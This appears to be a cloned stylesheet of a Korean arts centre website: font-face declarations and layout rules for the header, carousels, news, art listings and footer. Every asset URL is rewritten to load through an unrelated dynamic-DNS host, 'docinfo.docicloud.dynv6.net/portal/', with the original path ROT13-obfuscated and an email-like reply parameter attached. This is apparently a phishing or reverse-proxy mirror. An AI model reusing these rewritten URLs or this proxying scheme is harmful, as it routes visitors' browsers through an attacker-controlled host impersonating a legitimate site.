/* pretendard */
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 100;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Guva.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Guva.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Guva.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Guva.jbss2') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 200;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenYvtug.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenYvtug.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenYvtug.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenYvtug.jbss2') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 300;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Yvtug.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Yvtug.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Yvtug.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Yvtug.jbss2') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 400;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Erthyne.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Erthyne.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Erthyne.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Erthyne.jbss2') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 500;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Zrqvhz.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Zrqvhz.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Zrqvhz.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Zrqvhz.jbss2') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 600;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-FrzvObyq.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-FrzvObyq.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-FrzvObyq.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-FrzvObyq.jbss') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 700;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Obyq.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Obyq.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Obyq.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Obyq.jbss') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 800;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenObyq.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenObyq.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenObyq.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-RkgenObyq.jbss') format('woff2');
}
@font-face {
    font-family: 'Pretendard';
    font-style: normal;
    font-weight: 900;
    src:
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Oynpx.bgs') format('opentype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Oynpx.ggs') format('truetype'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Oynpx.jbss') format('woff'),
    url('http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Ssbag%2SCergraqneq%2SCergraqneq-Oynpx.jbss2') format('woff2');
}

/* common */
.screenOut { overflow: hidden; display: inline-block; border: 0; position: absolute; z-index: -1; width: 1px; height: 1px; clip: rect(1px, 1px, 1px, 1px); clip-path: inset(50%); } 
:focus-visible,
input:focus-visible + label { outline: 2px dashed; outline-offset: 1px; }
#newWrap #newHeader *,
#newWrap #footerNew *,
#newWrap .newMainInner * { font-family: "Pretendard", sans-serif; -webkit-box-sizing:border-box; -moz-box-sizing:border-box; box-sizing:border-box; }
#newWrap #newHeader a:hover,
#newWrap #newHeader a:active,
#newWrap #footerNew a:hover,
#newWrap #footerNew a:active,
#newWrap .newMainInner a:hover,
#newWrap .newMainInner a:active { text-decoration: none;}
#newWrap .inner { max-width: 1800px; padding: 0 60px; margin: 0 auto; }
.newMain .titWrap { display: flex; align-items: flex-end; gap: 20px; margin: 80px 0 40px; }
.newMain .titWrap h2 { font-size: 42px; font-weight: 500; color: #2f2b2e; line-height: 1; letter-spacing: -2.4px; }
.newMain .titWrap span { font-size: 20px; font-weight: 400; color: #6b686b; line-height: 1; letter-spacing: -0.96px; }
.txtWrap {display: block; overflow: hidden; white-space: nowrap; text-overflow: ellipsis; font-size: inherit; color: inherit; font-weight: inherit; }
.txtWrap2 {display: block; overflow: hidden; word-break: break-all; text-overflow: ellipsis; display: -webkit-box; -webkit-line-clamp: 2; -webkit-box-orient: vertical; font-size: inherit; color: inherit; font-weight: inherit; }
.btnViewMore { display: flex; gap: 10px; font-size: 20px; font-weight: 500; color: #000; }
.btnViewMore::after { content: ''; width: 26px; height: 26px; border-radius: 100%; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_ivrjzber.fit) #000 no-repeat center center; }
.selectWrap {  position: relative; background: #fff; }
.selectWrap::before { content: ''; position: absolute; top: 50%; right: 18px; transform: translateY(-50%); width: 11px; height: 6px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_qebc.fit) no-repeat center center; }
.selectWrap select { border:1px solid #2f2b2e; width: fit-content; height: 40px; padding: 0 36px 0 18px; cursor: pointer; font-size: 15px; }
.selectWrap select:focus { border: 1px dashed #2f2b2e; }
.tagBtn { display: flex; align-items: flex-end; gap: 10px; flex-wrap: wrap; flex-shrink: 0; }
.tagBtn li { display: flex; gap: 10px; align-items: center; }
.tagBtn li button { flex-shrink: 0; font-size: 16px; font-weight: 400; color: #6b686b;}
.tagBtn li.on button { font-size: 17px; font-weight: 700; color: #ee7c00; }
.tagBtn li::after { content: ''; width: 1px; height: 8px; background: #a09fa0; }
.tagBtn li:has(.selectWrap):after,
.tagBtn li:last-child:after { display: none; }

/* header */
#newWrap #ma_search .tbinput {height: 58px;}
#newHeader { position: relative; position: fixed; top: 0; left: 0; z-index: 101; width: 100%; background: linear-gradient(180deg, #000000ed, transparent);}
#newHeader.on { background: #000000cc; }
#newHeader .gnbBg { position: absolute; top: 125px; width: 100%; min-height: 0; transition: 0.2s; -webkit-backdrop-filter: blur(15px); backdrop-filter: blur(15px); background: #000000cc; }
#newHeader.on .gnbBg { min-height: 160px; }
#newHeader .moGnbBtn { display: none; width: 20px; height: 20px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_zrah.fit) no-repeat center center; background-size: 20px auto; }
#newHeader.on .moGnbBtn { width: 20px; height: 20px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_pybfr.fit) no-repeat center center; background-size: 20px auto; }
#newHeader .gnbBox { display: flex; align-items: center; height: 125px; }
#newHeader .gnbBox .logo { flex-shrink: 0; }
#newHeader .gnbBox .gnb {margin-left: 30px; }
#newHeader .gnbBox .gnb .depth01 { display: flex; }
#newHeader .gnbBox .gnb .depth01 > li { position: relative;  }
#newHeader .gnbBox .gnb .depth01 > li > a { font-size: 18px; font-weight: 700; color: #fff; padding: 0 45px; }
#newHeader .gnbBox .gnb .depth01 > li .depth02 { display: none; width: max-content; position: absolute; top: 50px; left: 45px; z-index: 1; }
#newHeader .gnbBox .gnb .depth01 > li .depth02.on { display: block; }
#newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a { font-size: 15px; font-weight: 500; color: rgba(255, 255, 255, 0.6); }
#newHeader .gnbBox .gnb .depth01 > li .depth02 > li + li { margin-top: 15px; }
#newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a:hover,
#newHeader .gnbBox .gnb .depth01 > li .depth02 > li > a:focus { color: #fff; }
#newHeader .gnbBox .gnbFoot,
#newHeader .gnbBox .snsItem { display: none; }
#newHeader .gnbBox .userSupport {margin-left: auto; }
#newHeader .gnbBox .userSupport > ul { display: flex; align-items: center; gap: 20px; }
#newHeader .gnbBox .userSupport > ul > li.login { width: 17px; height: 18px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_hfre.fit) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li.login.on { width: 20px; height: 23px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_bhg.cat) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li.join { width: 23px; height: 18px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_wbva.fit) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li.join.on { width: 21px; height: 23px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_zl.cat) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li.search { width: 16px; height: 17px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_frnepu.fit) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li.sitemap { width: 20px; height: 12px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Soga_zrah.fit) no-repeat; background-size: cover; }
#newHeader .gnbBox .userSupport > ul > li > a { display: block; width: 100%; height: 100%; }


/* main */
.newMain #container { max-width: 100%; margin-right: 0; }
.visWrap .mainVis { position: relative; overflow : hidden; } 
.visWrap .mainVis .vis-list li { position: relative; width: 100%; height: 900px;}
.visWrap .mainVis .vis-list li a {position: relative; z-index: 1; display: flex; justify-content: flex-end; align-items: flex-end; width: 100%; height: 100%; }
.visWrap .mainVis .vis-list li a:hover {text-decoration: none; }
.visWrap .mainVis .vis-list li img { position: absolute; top: 0; left: 0; width: 100%; height: 100%; object-fit: cover; }
.visWrap .mainVis .vis-list li:first-child img { animation: slowMotion 3s ease-in-out !important; }
.visWrap .mainVis .vis-list li .vis-txt { text-align: right; padding: 0 60px 80px; color: #fff; }
.visWrap .mainVis .vis-list li .vis-txt em { font-size: 20px; font-weight: 500; color: inherit; }
.visWrap .mainVis .vis-list li .vis-txt h3 { font-size: 36px; font-weight: 700; line-height: 1.3; margin: 12px 0 16px; color: #fff; }
.visWrap .mainVis .vis-list li .vis-txt p { font-size: 16px;font-weight: 400; line-height: 30px; color: #fff; margin-bottom: 32px; }
.visWrap .mainVis .vis-list li .vis-txt .info { display: flex; justify-content: flex-end;  gap: 20px; }
.visWrap .mainVis .vis-list li .vis-txt .info span { font-size: 14px; font-weight: 400; color: rgba(255, 255, 255, 80%); }
.visWrap .mainVis .vis-list li .vis-txt .info .date { display: inline-flex; align-items: center; gap: 20px; }
.visWrap .mainVis .vis-list li .vis-txt .info .date::before { content: '│'; color: inherit; /* width: 1px; height: 8px; background: rgba(255, 255, 255, 80%); */ }
.visWrap .mainVis .vis-btn-wrap { position: absolute; left: 50%; transform: translateX(-50%); bottom: 40px; z-index: 10; display: flex; justify-content: center; align-items: center; }
.visWrap .mainVis .vis-btn-wrap button { display: flex; margin: 4px;}
.visWrap .mainVis .vis-btn-wrap button.vis-swiper-pause,
.visWrap .mainVis .vis-btn-wrap button.vis-swiper-play { width: 8px; height: 10px; }
.visWrap .mainVis .vis-btn-wrap button.hide { display: none; }
.visWrap .mainVis .vis-btn-wrap2 { position: absolute; width: 100%; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 10; }
.visWrap .mainVis .vis-btn-wrap2 .vis-swiper-prev { position: absolute; left: 20px; width: 60px;}
.visWrap .mainVis .vis-btn-wrap2 .vis-swiper-next { position: absolute; right: 20px; width: 60px;}
.visWrap .mainVis .vis-swiper-pagination { display: flex; gap: 2px; }
.visWrap .mainVis .vis-swiper-pagination .swiper-pagination-bullet { width: 8px; border-radius: 100%; background: #979797; opacity: 1;}
.visWrap .mainVis .vis-swiper-pagination .swiper-pagination-bullet-active { width: 32px; border-radius: 4px; background: #fff; }

@keyframes slowMotion {
    0% {
        transform: scale(1.1); 
    }
    100% {
        transform: scale(1); 
    }
}
.perform .performTop { display: flex; justify-content: space-between; align-items: flex-end; }
.perform .performTop .tagBtn { padding-bottom: 40px; }
.perform .performTop .tagBtn li:nth-child(3):after { display: none; }
.perform .performTab {position: relative; overflow: hidden; padding: 0 6px; }
.perform .performTab .perform-list > li:hover .hover,
.perform .performTab .perform-list > li > a:focus .hover { opacity: 1; }
.perform .performTab .perform-list > li .performImg { position: relative; }
.perform .performTab .perform-list > li .performImg .tag { display: none; justify-content: center; align-items: center; position: absolute; top: 30px; left: -6px; z-index: 10; }
.perform .performTab .perform-list > li .performImg .tag img { max-width: 100%; }
.perform .performTab .perform-list > li .performImg .poster { position: relative; border-radius: 20px; overflow: hidden; padding-top: 140%; height: 0; overflow: hidden; background: #ccc; }
.perform .performTab .perform-list > li .performImg .soldout { position: absolute; top: 30px; right: 30px; z-index: 1; }
.perform .performTab .perform-list > li .performImg .poster img { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); }
.perform .performTab .perform-list > li .hover { opacity: 0; display: flex; flex-direction: column; justify-content: flex-end; align-items: flex-start; padding: 20px; position: absolute; top: 0; left: 0; width: 100%; height: 100%; background: rgba(0, 0, 0, 70%); border: 2px solid #ee7c00; border-radius: 20px; }
.perform .performTab .perform-list > li .hover h4 { height: 41px; margin-bottom: 10px; font-size: 18px; font-weight: 600; color: #fff; letter-spacing: -0.88px; }
.perform .performTab .perform-list > li .hover .info { display: flex; flex-direction: column-reverse; justify-content: flex-end;  gap: 4px; }
.perform .performTab .perform-list > li .hover .info span { font-size: 14px; font-weight: 400; color: rgba(255, 255, 255, 80%); letter-spacing: -0.6px; }
.perform .performTab .perform-list > li .performTxt { display: flex; flex-direction: column; }
.perform .performTab .perform-list > li .performTxt h4 { height: 50px; margin: 12px 0 10px; font-size: 17px; font-weight: 500; color: #222; line-height: 140%; letter-spacing: -0.96px; }
.perform .performTab .perform-list > li .performTxt small { display: flex; flex-direction: column-reverse; gap: 10px; margin-top: auto; font-size: 14px; font-weight: 400; color: #666; }
.perform .performTab .perform-list > li .performTxt small span { font-size: inherit; font-weight: inherit; color: inherit; }
.perform .performTab .perform-btn-wrap { display: flex; align-items: center; margin-top: 40px; width: fit-content; }
.perform .performTab .perform-btn-wrap button { display: flex; margin: 4px;}
.perform .performTab .perform-btn-wrap button.perform-swiper-pause,
.perform .performTab .perform-btn-wrap button.perform-swiper-play { width: 8px; height: 10px; }
.perform .performTab .perform-btn-wrap button.hide { display: none; }
.perform .performTab .perform-swiper-pagination { display: flex; gap: 2px; width: fit-content; }
.perform .performTab .perform-swiper-pagination .swiper-pagination-bullet { width: 8px; border-radius: 100%; background: rgba(0, 0, 0, 50%); opacity: 1; }
.perform .performTab .perform-swiper-pagination .swiper-pagination-bullet-active { width: 32px; border-radius: 4px; background: #2f2b2e; }
.perform .performTab .btnViewMore {position: absolute; bottom: 0; right: 0; }
.perform .performTab .swiper-pagination-lock + .perform-swiper-pause { display: none;}

.ggacNews .newsList { position: relative; }
.ggacNews .newsList .newsTab .btnViewMore { position: absolute; top: -65px; right: 0; }
.ggacNews .newsList .newsTab { min-height: 298px; }
.ggacNews .newsList .newsTab ul { margin-top: 20px; display: flex; gap: 0 30px; flex-wrap: wrap; }
.ggacNews .newsList .newsTab ul li { width: calc((100% / 3) - 20px); border-top: 1px solid #e5e5e5; padding: 20px 0; }
.ggacNews .newsList .newsTab ul li a { display: block; }
.ggacNews .newsList .newsTab ul li:nth-child(1),
.ggacNews .newsList .newsTab ul li:nth-child(2),
.ggacNews .newsList .newsTab ul li:nth-child(3) { border-top: 0 ; }
.ggacNews .newsList .newsTab ul li em { display: block; margin-bottom: 20px; font-size: 16px; font-weight: 500; color: #222; }
.ggacNews .newsList .newsTab ul li em span { font-size: inherit; color: inherit; font-weight: 600; margin-right: 6px; }
.ggacNews .newsList .newsTab ul li .date { font-size: 14px; font-weight: 400; color: #666; }

.artList .inner { position: relative; }
.artList .artBox { display: flex; flex-wrap: wrap; border-top: 1px solid #e5e5e5; border-bottom: 1px solid #e5e5e5; }
.artList .artBox li { width: calc(100% / 3); padding: 30px; margin: 20px 0;}
.artList .artBox li:nth-child(2) { border-left: 1px solid #e5e5e5; border-right: 1px solid #e5e5e5; }
.artList .artBox li .imgWrap { height: 400px; }
.artList .artBox li .imgWrap img { width: 100%; height: 100%; object-fit: cover; }
.artList .artBox li h3 { width: fit-content; font-size: 22px; font-weight: 500; color: #222; padding: 20px 0 10px; }
.artList .artBox li span { font-size: 16px; font-weight: 400; color: #666; }
.artList div.flex { display: flex; justify-content: space-between; align-items: baseline; }

.ggacNotice { margin-bottom: 100px; }
.ggacNotice .inner { display: flex; gap: 40px; }
.ggacNotice .ggacStory { width: 100%; }
.ggacNotice .ggacStory .storyBox { display: flex; gap: 20px; }
.ggacNotice .ggacStory .storyBox .storyYoutube { flex: 1; position: relative; /* width: calc(100% - 460px); */ display: flex; flex-direction: column;}
.ggacNotice .ggacStory .storyBox .storyYoutube::before { content: ''; position: absolute; top: 30px; right: 30px; z-index: 2; width: 34px; height: 24px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_lbhghor.fit) no-repeat center center; background-size: cover; }
.ggacNotice .ggacStory .storyBox .storyYoutube .thum { position: relative; height: 460px; overflow: hidden; background: #000; }
.ggacNotice .ggacStory .storyBox .storyYoutube .thum a { position: relative; display: block; width: 100%; height: 100%;  }
.ggacNotice .ggacStory .storyBox .storyYoutube .thum a::before { content: ''; width: 100%; height: 100%; position: absolute; top: 0; left: 0; background: rgba(0, 0, 0, 0.2); z-index: 1; }
.ggacNotice .ggacStory .storyBox .storyYoutube .thum a::after { content: ''; position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); z-index: 1; width: 74px; height: 74px; border-radius: 100%; border: 1px solid #fff; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_cynl.fit) rgba(0, 0, 0, 0.4) no-repeat center center; }
.ggacNotice .ggacStory .storyBox .storyYoutube .thum img { position: absolute; top: 50%; left: 50%; transform: translate(-50%, -50%); width: 100%; }
.ggacNotice .ggacStory .storyBox .storyYoutube .storyTxt { margin-top: 30px; font-size: 20px; font-weight: 500; color: #000; letter-spacing: -0.9px; display: -webkit-box; -webkit-line-clamp: 1; -webkit-box-orient: vertical; overflow: hidden; text-overflow: ellipsis; line-height: 1.4; }
.ggacNotice .ggacStory .storyBox .instaSlide { flex: 1.37; position: relative; overflow: hidden; flex-shrink: 0; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-list { height: 460px; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-list li { background: #000; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-list li a { position: relative; display: block; width: 100%; height: 100%; overflow: hidden; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-list li a::after { content: ''; position: absolute; top: 30px; right: 30px; width: 32px; height: 32px; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggcf%3N%2S%2Sjjj.ttnq.be.xe%2Svap%2S2025ttnq%2Spff%2S..%2Svzntrf%2Spbzzba%2Svp_vafgn.cat) no-repeat center center; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-list li a img { width: 100%; height: 100%; object-fit: cover; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap { display: flex; align-items: center; margin: 40px auto 0; width: fit-content; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap button { display: flex; margin: 4px;}
.ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap button.insta-swiper-pause,
.ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap button.insta-swiper-play { width: 8px; height: 10px; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-btn-wrap button.hide { display: none; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-swiper-pagination { display: flex; gap: 2px; width: fit-content; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-swiper-pagination .swiper-pagination-bullet { width: 8px; border-radius: 100%; background: #2f2b2eb3; opacity: 1; }
.ggacNotice .ggacStory .storyBox .instaSlide .insta-swiper-pagination .swiper-pagination-bullet-active { width: 32px; border-radius: 4px; background: #2f2b2e; }

/* footer */
#footerNew { border-top: 1px solid #2f2b2e; }
#footerNew .footCon { display: flex; align-items: flex-start; padding: 50px 0; gap: 100px;}
#footerNew .footCon .footLogo { display: flex; align-items: center; gap: 20px; }
#footerNew .footCon .infoWrap {  }
#footerNew .footCon .info01 > li { display: flex; gap: 40px; padding: 6px 0; font-size: 15px;  }
#footerNew .footCon .info01 > li em { min-width: 130px; font-size: inherit; font-weight: 400; color: #6b686b; }
